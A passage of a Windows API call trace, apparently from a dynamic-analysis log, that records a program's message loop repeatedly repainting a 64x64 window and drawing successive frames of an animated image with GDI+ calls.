0x1e91eca0 [0175.951] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.951] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.951] CoTaskMemFree (pv=0x1e91eca0) [0175.951] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0175.952] GdipCreateRegion (region=0x15d710) returned 0x0 [0175.952] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0175.952] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0175.952] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0175.952] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0175.952] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.952] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.953] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.953] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0175.953] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.953] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.953] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.953] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.953] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0175.953] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0175.953] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0175.954] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0175.954] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.954] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0175.954] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0175.954] GetCurrentObject (hdc=0x22010bc1, type=0x1) returned 0x1b00017 [0175.954] GetCurrentObject (hdc=0x22010bc1, type=0x2) returned 0x1900010 [0175.954] GetCurrentObject (hdc=0x22010bc1, type=0x7) returned 0x1a05067e [0175.954] GetCurrentObject (hdc=0x22010bc1, type=0x6) returned 0x18a002e [0175.954] SaveDC (hdc=0x22010bc1) returned 1 [0175.954] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x35040b8a [0175.954] GetClipRgn (hdc=0x22010bc1, hrgn=0x35040b8a) returned 0 [0175.955] SelectClipRgn (hdc=0x22010bc1, hrgn=0x650407c3) returned 2 [0175.955] DeleteObject (ho=0x35040b8a) returned 1 [0175.955] DeleteObject (ho=0x650407c3) returned 1 [0175.955] OffsetViewportOrgEx (in: hdc=0x22010bc1, x=0, y=0, lppt=0x275bb98 | out: lppt=0x275bb98) returned 1 [0175.955] GetNearestColor (hdc=0x22010bc1, color=0xffffff) returned 0xffffff [0175.955] CreateSolidBrush (color=0xffffff) returned 0x3d100190 [0175.955] FillRect (hDC=0x22010bc1, lprc=0x15d7c0, hbr=0x3d100190) returned 1 [0175.955] DeleteObject (ho=0x3d100190) returned 1 [0175.955] RestoreDC (hdc=0x22010bc1, nSavedDC=-1) returned 1 [0175.955] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.956] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x22010bc1) returned 0x0 [0175.956] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb6c0dbd) returned 0x0 [0175.956] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.956] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0175.956] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.956] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.956] GetSystemMetrics (nIndex=42) returned 0 [0175.956] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.956] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.957] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.957] CoTaskMemFree (pv=0x1e91eca0) [0175.957] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x16) returned 0x0 [0175.959] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0175.959] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0175.959] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0175.959] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0175.959] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x22010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.959] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.959] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x22010bc1) returned 0x0 [0175.959] SelectObject (hdc=0x22010bc1, h=0x185000f) returned 0x1a05067e [0175.959] DeleteDC (hdc=0x22010bc1) returned 1 [0175.959] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.960] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0175.960] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0175.960] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0175.960] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.960] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.960] WaitMessage () returned 1 [0176.081] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.081] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.082] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.082] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.082] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.082] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0176.082] GetCurrentThreadId () returned 0xec0 [0176.082] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0176.082] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.082] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.082] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.082] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.082] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.082] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0176.082] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0176.083] CreateCompatibleDC (hdc=0x2d010b73) returned 0x23010bc1 [0176.083] SelectObject (hdc=0x23010bc1, h=0x1a05067e) returned 0x185000f [0176.083] GdipCreateFromHDC (hdc=0x23010bc1, graphics=0x15daf0) returned 0x0 [0176.083] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0176.083] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0176.083] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0176.083] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0176.084] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0176.084] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.084] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0176.084] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.084] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.084] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0176.085] GdipCreateRegion (region=0x15dc20) returned 0x0 [0176.085] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0176.085] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0176.085] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0176.085] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.085] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.085] GetSystemMetrics (nIndex=42) returned 0 [0176.085] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.085] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.085] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.085] CoTaskMemFree (pv=0x1e91eca0) [0176.085] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0176.085] GdipCreateRegion (region=0x15d710) returned 0x0 [0176.086] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0176.086] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0176.086] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0176.086] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0176.086] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.086] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.086] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.087] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0176.087] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.087] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.087] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.087] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.087] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0176.087] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0176.087] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0176.087] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0176.087] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.087] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0176.088] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0176.088] GetCurrentObject (hdc=0x23010bc1, type=0x1) returned 0x1b00017 [0176.088] GetCurrentObject (hdc=0x23010bc1, type=0x2) returned 0x1900010 [0176.088] GetCurrentObject (hdc=0x23010bc1, type=0x7) returned 0x1a05067e [0176.088] GetCurrentObject (hdc=0x23010bc1, type=0x6) returned 0x18a002e [0176.088] SaveDC (hdc=0x23010bc1) returned 1 [0176.088] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x660407c3 [0176.088] GetClipRgn (hdc=0x23010bc1, hrgn=0x660407c3) returned 0 [0176.088] SelectClipRgn (hdc=0x23010bc1, hrgn=0x36040b8a) returned 2 [0176.088] DeleteObject (ho=0x660407c3) returned 1 [0176.088] DeleteObject (ho=0x36040b8a) returned 1 [0176.088] OffsetViewportOrgEx (in: hdc=0x23010bc1, x=0, y=0, lppt=0x275ce78 | out: lppt=0x275ce78) returned 1 [0176.089] GetNearestColor (hdc=0x23010bc1, color=0xffffff) returned 0xffffff [0176.089] CreateSolidBrush (color=0xffffff) returned 0x3e100190 [0176.089] FillRect (hDC=0x23010bc1, lprc=0x15d7c0, hbr=0x3e100190) returned 1 [0176.089] DeleteObject (ho=0x3e100190) returned 1 [0176.089] RestoreDC (hdc=0x23010bc1, nSavedDC=-1) returned 1 [0176.089] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.089] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x23010bc1) returned 0x0 [0176.089] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb6a0dbd) returned 0x0 [0176.089] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.089] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0176.090] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.090] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.090] GetSystemMetrics (nIndex=42) returned 0 [0176.090] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.090] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.090] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.090] CoTaskMemFree (pv=0x1e91eca0) [0176.090] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0176.090] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0176.090] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0176.090] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0176.090] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x23010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.090] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.091] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x23010bc1) returned 0x0 [0176.091] SelectObject (hdc=0x23010bc1, h=0x185000f) returned 0x1a05067e [0176.091] DeleteDC (hdc=0x23010bc1) returned 1 [0176.091] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.091] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0176.091] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0176.091] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0176.091] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.091] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.091] WaitMessage () returned 1 [0176.206] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.206] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.206] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.207] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.207] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.207] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0176.207] GetCurrentThreadId () returned 0xec0 [0176.207] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0176.207] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.207] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.207] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.207] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.207] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.207] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0176.207] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0176.208] CreateCompatibleDC (hdc=0x2d010b73) returned 0x24010bc1 [0176.208] SelectObject (hdc=0x24010bc1, h=0x1a05067e) returned 0x185000f [0176.208] GdipCreateFromHDC (hdc=0x24010bc1, graphics=0x15daf0) returned 0x0 [0176.208] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0176.208] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0176.208] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0176.208] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0176.208] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0176.208] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.208] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0176.209] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.209] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.209] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0176.209] GdipCreateRegion (region=0x15dc20) returned 0x0 [0176.209] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0176.209] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0176.210] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0176.210] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.210] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.210] GetSystemMetrics (nIndex=42) returned 0 [0176.210] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.210] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.210] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.210] CoTaskMemFree (pv=0x1e91eca0) [0176.210] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0176.210] GdipCreateRegion (region=0x15d710) returned 0x0 [0176.210] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0176.210] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0176.210] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0176.210] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0176.211] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.211] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.211] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.211] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0176.211] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.211] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.212] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.212] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.212] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0176.212] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0176.212] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0176.212] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0176.213] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.213] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0176.213] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0176.213] GetCurrentObject (hdc=0x24010bc1, type=0x1) returned 0x1b00017 [0176.213] GetCurrentObject (hdc=0x24010bc1, type=0x2) returned 0x1900010 [0176.213] GetCurrentObject (hdc=0x24010bc1, type=0x7) returned 0x1a05067e [0176.213] GetCurrentObject (hdc=0x24010bc1, type=0x6) returned 0x18a002e [0176.213] SaveDC (hdc=0x24010bc1) returned 1 [0176.213] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x37040b8a [0176.213] GetClipRgn (hdc=0x24010bc1, hrgn=0x37040b8a) returned 0 [0176.213] SelectClipRgn (hdc=0x24010bc1, hrgn=0x670407c3) returned 2 [0176.213] DeleteObject (ho=0x37040b8a) returned 1 [0176.214] DeleteObject (ho=0x670407c3) returned 1 [0176.214] OffsetViewportOrgEx (in: hdc=0x24010bc1, x=0, y=0, lppt=0x275d7b0 | out: lppt=0x275d7b0) returned 1 [0176.214] GetNearestColor (hdc=0x24010bc1, color=0xffffff) returned 0xffffff [0176.214] CreateSolidBrush (color=0xffffff) returned 0x3f100190 [0176.214] FillRect (hDC=0x24010bc1, lprc=0x15d7c0, hbr=0x3f100190) returned 1 [0176.214] DeleteObject (ho=0x3f100190) returned 1 [0176.214] RestoreDC (hdc=0x24010bc1, nSavedDC=-1) returned 1 [0176.214] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.214] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x24010bc1) returned 0x0 [0176.214] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb680dbd) returned 0x0 [0176.215] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.215] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0176.215] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.215] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.215] GetSystemMetrics (nIndex=42) returned 0 [0176.215] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.215] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.215] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.215] CoTaskMemFree (pv=0x1e91eca0) [0176.215] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0176.217] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0176.217] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0176.217] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0176.217] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0176.217] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x24010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.217] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.217] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x24010bc1) returned 0x0 [0176.217] SelectObject (hdc=0x24010bc1, h=0x185000f) returned 0x1a05067e [0176.217] DeleteDC (hdc=0x24010bc1) returned 1 [0176.217] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.218] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0176.218] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0176.218] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0176.218] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.218] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.218] WaitMessage () returned 1 [0176.335] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.335] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.335] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.335] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.335] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.335] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0176.335] GetCurrentThreadId () returned 0xec0 [0176.335] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0176.335] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.335] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.335] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.335] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.335] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.335] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0176.336] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0176.336] CreateCompatibleDC (hdc=0x2d010b73) returned 0x25010bc1 [0176.336] SelectObject (hdc=0x25010bc1, h=0x1a05067e) returned 0x185000f [0176.336] GdipCreateFromHDC (hdc=0x25010bc1, graphics=0x15daf0) returned 0x0 [0176.336] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0176.336] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0176.336] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0176.336] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0176.336] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0176.337] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.337] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0176.337] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.337] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.337] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0176.337] GdipCreateRegion (region=0x15dc20) returned 0x0 [0176.338] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0176.338] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, 